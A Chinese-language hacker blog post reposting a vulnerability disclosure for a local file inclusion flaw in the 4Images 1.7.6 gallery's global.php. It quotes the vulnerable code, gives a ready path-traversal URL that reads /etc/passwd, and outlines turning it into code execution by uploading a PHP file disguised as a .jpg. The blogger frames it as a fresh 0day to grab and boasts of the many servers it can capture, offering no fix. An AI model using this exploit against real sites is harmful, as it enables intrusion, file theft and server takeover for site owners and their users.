导航

心动吧黑客BLOG

自发研究:须要多维思想而且要想不可能为可能的人才能做到

« 国外自动免费VPN代理Hotspot Shield 1.1Mysql BackDoorDoor提权工具 »

4Images 1.7.6 本地包含漏洞

明生提示:0day呀..快抢呀

BY Flyh4t

/***********************************************************/

4images - Image Gallery Management System  V1.7.6  Local Inclusion Vulnerability

Author :     Flyh4t

msn :     flyh4t@hotmail.com

team:     Wolves Security Team

site:        bbs.wolvez.org

Greet to : q1ur3n  puret_t  make0day  and all the members of Wolves Security Team



 

Bug file : global.php

 

if (isset($HTTP_GET_VARS['l']) || isset($HTTP_POST_VARS['l'])) { 
$requested_l = (isset($HTTP_GET_VARS['l'])) ? trim($HTTP_GET_VARS['l']) : trim($HTTP_POST_VARS['l']);
if ($requested_l != $config['language_dir'] && file_exists(ROOT_PATH.'lang/'.$requested_l.'/main.php')) {
$l = $requested_l;
$config['language_dir'] = $l;
}
}

include_once(ROOT_PATH.'lang/'.$config['language_dir'].'/main.php');



4Images这一套程序都差不多包含global.php,所以要肉鸡也多多呀

  1. /index.php?l=../../../../../../etc/passwd%00

 具体利用:我们可以注册一个用户,并上传PHP文件名字xxx.jpg .然后我们对伺候器和被包括在内的文件进行操作

 

原创文章如转载,请注明:转载自心动吧黑客BLOG [ http://www.abcxd.com/abcxd/ ]

本文链接地址:http://www.abcxd.com/abcxd/abcxdArticle/PHPoday/4Images-Vulnerability.html

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

黑客榜之热文排行

黑客榜之本年排行

黑客榜之本月排行

黑客榜之随机文章

网站分类

搜索内容

最新评论及回复

最近发表

所属分类下的文章

日历

Copyright ⊙ 2004-2009 心动吧 UrL:ABCXD.CoM All RiGhts Reserved